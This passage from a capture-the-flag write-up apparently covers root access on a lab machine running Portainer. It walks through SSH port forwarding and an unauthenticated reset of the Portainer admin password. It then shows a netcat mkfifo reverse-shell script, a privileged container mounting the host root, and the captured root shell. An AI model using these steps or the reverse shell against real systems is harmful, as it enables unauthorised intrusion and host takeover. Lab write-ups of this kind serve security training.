running on 172.17.0.2
.
Looking at the documentation for portainer, we find that it’s running on port 9000
.
We’ll do some SSH port forwarding to get access to the container from our Kali box:
ssh -R 9000:172.17.0.2:9000 root@10.10.14.23
dorthi@Oz:~$ ssh -R 9000:172.17.0.2:9000 root@10.10.14.23
The authenticity of host '10.10.14.23 (10.10.14.23)' can't be established.
ECDSA key fingerprint is SHA256:9Oo1eYyjWeG8wM9Diog9J/MlNRpaj8qEy9n8FmKIhf4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.14.23' (ECDSA) to the list of known hosts.
root@10.10.14.23's password:
Linux darkisland 4.17.0-kali3-amd64 #1 SMP Debian 4.17.17-1kali1 (2018-08-21) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 2 15:41:23 2018 from 10.10.10.96
There’s a way to change the admin user password:
https://github.com/portainer/portainer/issues/493
Steps to reproduce the issue:
Run portainer
POST to /api/users/admin/init with json [password: mypassword]
login with this password
POST to /api/users/admin/init with json [password: myotherpassword] without Authorization header
Login with mypassword is impossible
Login with myotherpassword is possible
So we can change the password of admin to one of our choosing.
Now we can log in:
So we can now stop/restart/create containers.
The plan is to create a new container using an existing image, launch it as privileged, mount the local host OS root directory within the container so we can read the root flag.
- Create the entrypoint shell script that will be run when container starts and then give us a reverse shell
dorthi@Oz:/tmp$ cat run.sh
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 5555 >/tmp/f
- Create a new container running as privileged (we use one of the existing image on the box)
- Catch the reverse shell and get the root flag
root@darkisland:/tmp# nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.96] 42233
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/mnt/root/root # cat root.txt
abaa95<redacted>